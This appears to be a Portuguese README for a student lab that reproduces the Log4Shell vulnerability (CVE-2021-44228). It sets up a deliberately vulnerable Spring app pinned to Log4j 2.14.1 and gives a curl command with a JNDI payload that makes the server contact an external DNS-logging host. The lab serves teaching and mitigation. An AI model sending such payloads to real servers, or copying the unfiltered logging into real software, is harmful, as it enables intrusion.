
Estudo técnico e implementação de um ambiente de teste para a vulnerabilidade Apache Log4j (CVE-2021-44228). Contém uma Prova de Conceito (PoC) dockerizada e uma proposta de atualização da PSSI. Para um objetivo de trabalho prático.
Este projeto é um ambiente de teste controlado que permite reproduzir e compreender a falha crítica Log4Shell (CVE-2021-44228) que afeta a biblioteca Apache Log4j.
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
Demonstrar como um atacante pode explorar a falha CVE-2021-44228 para forçar um servidor a efetuar uma conexão de rede de saída não autorizada, simplesmente enviando uma string maliciosa.
pom.xml)O arquivo pom.xml força o uso do Log4j 2.14.1, uma versão anterior à correção de segurança:
<log4j2.version>2.14.1</log4j2.version>
Essa versão contém a classe JndiLookup ativada por padrão, que é a raiz do problema.
VulnerableApplication.java)A aplicação expõe um serviço web REST. A vulnerabilidade está no método index:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
Problema: A aplicação recupera um parâmetro do usuário (input) e o passa diretamente para logger.info() sem nenhuma filtragem. O Log4j então interpreta o conteúdo como um comando potencial.
Dockerfile)O Dockerfile utiliza uma construção em duas etapas:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 O uso do Java 11 é relevante, pois as versões mais recentes restringem por padrão o carregamento de classes remotas.
A exploração baseia-se na injeção JNDI (Java Naming and Directory Interface):
${jndi:protocolo://url} nos logsCertifique-se de que os seguintes arquivos estejam no mesmo diretório:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
Este comando baixa as dependências Maven (Log4j 2.14.1) e cria a imagem.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
A aplicação agora está escutando na porta 8080.
Acesse um serviço de logs DNS:
Copie o endereço fornecido (ex.: mon-test.dnslog.cn)
Em um novo terminal, execute o seguinte comando:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 Nota: O caractere
\serve para escapar o$no terminal.
Volte ao site dnslog. Você verá uma requisição DNS aparecer, confirmando que o servidor executou o código injetado.
O servidor realizou uma conexão de saída para uma máquina externa simplesmente ao registrar uma requisição do usuário.
Em um cenário real, essa conexão teria permitido:
Para corrigir esta vulnerabilidade:
-Dlog4j2.formatMsgNoLookups=trueEste projeto é fornecido apenas para fins educacionais. Utilize-o de forma responsável e ética.
| Etapa | Ação |
|---|
| 1 | A aplicação Java recebe a requisição HTTP |
| 2 | A linha logger.info(...) processa o parâmetro input |
| 3 | O Log4j detecta a sintaxe ${jndi:...} |
| 4 | O Log4j executa a resolução LDAP para o servidor remoto |
| 5 | Uma requisição DNS aparece na interface DNSLog |